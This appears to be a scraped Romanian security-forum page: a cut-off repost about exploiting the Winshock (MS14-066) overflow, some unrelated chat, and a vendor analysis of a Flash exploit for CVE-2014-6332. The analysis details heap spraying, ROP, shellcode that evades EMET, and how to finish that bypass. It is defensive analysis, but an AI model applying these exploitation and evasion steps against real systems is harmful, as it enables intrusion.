overflow condition due to the presumption of the decoded signature size (twice the size of the key) made in the calling function CheckClientVerifyMessage. Since we can control (to a degree) the size and content of the memcpy function (via the encoded signature) and CryptDecodeObject leaves the encoded signature input untouched, we can predict the values written in the heap overflow. This can all be triggered via some basic modification to OpenSSL. Hopefully this gave you some additional insight into how this vulnerability can be triggered and exploited, and as always, apply those patches if you haven’t already! Until next time, Mike Sursa: Exploiting MS14-066 / CVE-2014-6321 (aka "Winshock") - Security SiftSecurity Sift

Advanced? E un jeg. Si cica sa cauti dork. Pot sa jur ca e scris de un indian nespalat.

Nu am avut timp sa pregatesc. Si nici idei.

Eram vreo 10 cu tricouri, cred ca eram destul de usor de depistat. Am mai adus 4 azi.

threadid. Ideea e ca astfel vezi care sunt cele mai discutate topicuri. Nu o sa iti dai seama daca ceva e foarte discutat astfel. O idee mai buna ar fi ca daca nu se repeta, sa apara in paranteza numarul de posturi. E usor de facut dar cel putin mie imi place mai mult versiunea curenta.

Addressing CVE-2014-6332 SWF Exploit posted by: Alon Livne on November 26, 2014 2:00 PM Continuing a recent trend in which Internet Explorer vulnerabilities are exploited using Flash, samples of an SWF purportedly used in conjunction with CVE-2014-6332 have appeared in several places. The most famous examples of this trend are the exploits for CVE-2014-0322 and CVE-2014-1776. We have yet to encounter the SWF sample with its original exploit attached, but by looking at the SWF, it is clear that it is constructed to function with several forms of memory corruption, making the vulnerability itself less interesting. That is a great example of why our Advanced Endpoint Protection approach, which focuses on the core techniques used in attacks, works well. It will prevent uses of this SWF framework, regardless of the vulnerability it is used with. The interesting part in this exploit is the Flash component. At first glance at the decompiled ActionScript shown here, it seems fairly straightforward, sharing much of its code with the previously seen exploits: This post will not go into detail regarding the spray mechanisms since they are almost identical to the ones seen in previous exploits, but in short: A 0x18180 element vector is sprayed, each vector 0x3FE bytes in size. A timer routine is started, with the browser vulnerability is triggered via an ExternalInterface call to a JavaScript/VBScript function. Once the timed routine detects that the corruption has occurred by scanning the vector for a longer vector, it stops and continued to the next phase. The following vector is corrupted to span the entire memory and read/write abstracts are defined A pointer from Flash_*.ocx is leaked and its base is determined by scanning backwards. After that, addresses of VirtualAlloc and GetProcAddress are resolved from the import table, for later use in assembling the ROP and shellcode. The ROP chain is triggered by overriding the previously created Sound object’s vtable and calling the toString method, leading to the first ROP gadget. At this point it’s worth mentioning one particular behavior. Prior to the shellcode, after the stack pivot, the original stack address (now in eax) is preserved in esi, and then put back into esp as part of the shellcode’s prologue, enabling the shellcode to run on the original stack. The shellcode The interesting part starts with the shellcode, which seems to be tailor made to bypass Microsoft EMET protections, and possibly other security products as well. The first reference to EMET can be seen when the shellcode sets up its data section (containing mostly hashes of functions to later be resolved): The shellcode then starts off by resolving the address of NtSetContextThread by calling GetProcAddress, the address of which was previously written into the heap spray (pointed to by ecx) by the ActionScript code. The shellcode sets up a CONTEXT structure and calls NtSetContextThread, overriding the debug registers and eliminating EMET’s EAF feature, as per the method demonstrated by Piotr Bania in 2012. Once this is accomplished, the challenges faced by the shellcode are greatly reduced. It then proceeds to resolve the previously entered hashes into functions: It resolves the following functions from kernel32 and ntdll in two separate loops: LoadLibraryA GetProcAddress VirtualAlloc IsBadReadPtr WriteProcessMemory GetModuleHandleA Sleep VirtualProtect CreateThread GetProcessHeap CreateFileA WriteFileA CloseHandle WinExec GetTempPathA SetUnhandledExceptionFilter RtlAllocateHeap Memcpy ZwGetContextThread ZwSetContextThread Once all functions are resolved, it proceeds to read a payload PE that was concatenated to the end of the shellcode by the Flash component. The payload PE itself arrives via a file named “shadow.jpg”, and is marked by the magic value 0xDEADBEEF41414141 and another DWORD containing its overall size. It is copied into memory and then written into a file called “windump.exe” in the Local\Temp directory (retrieved using GetTempPathA). At this point another piece of evasive code is introduced: The shellcode checks if EMET.dll is present in the process. If so it simply calls WinExec normally, and the payload is run. Otherwise, it resets the UnhandledExceptionFilter, saves the current esp value, and calls a wrapper function which first takes control of the last SEH handler (pointed to by the TEB) and jumps into WinExec. Upon returning it will reset esp to its preserved value and exit cleanly. Either way, normal execution is restored after having returned from the corrupted sound object’s toString method. Conclusion This exploit is interesting because it is the first display of an in-the-wild attack targeting machines protected by EMET (specifically, EMET 4.1). Oddly enough, the bypass is unfinished – this exploit would be caught by EMET’s stack pivot check on VirtualAlloc. Disable or bypass this single test – and the exploit will succeed in bypassing EMET 4.1. In fact, a fairly small set of customizations could be made to enable this exploit to bypass EMET 5.1 as well. Albeit half-baked, this exploit shows a significant step toward in-the-wild exploits which bypass EMET, whereas in previous exploits of this nature, exploiters actively avoided machines running EMET by using a since patched information disclosure vulnerability in IE (CVE-2014-7331). Worth noting: Palo Alto Networks Traps stopped this exploit with several layers of redundancy. We will continue to examine these exploits and update as appropriate. Sursa: Addressing CVE-2014-6332 SWF Exploit - Palo Alto Networks BlogPalo Alto Networks Blog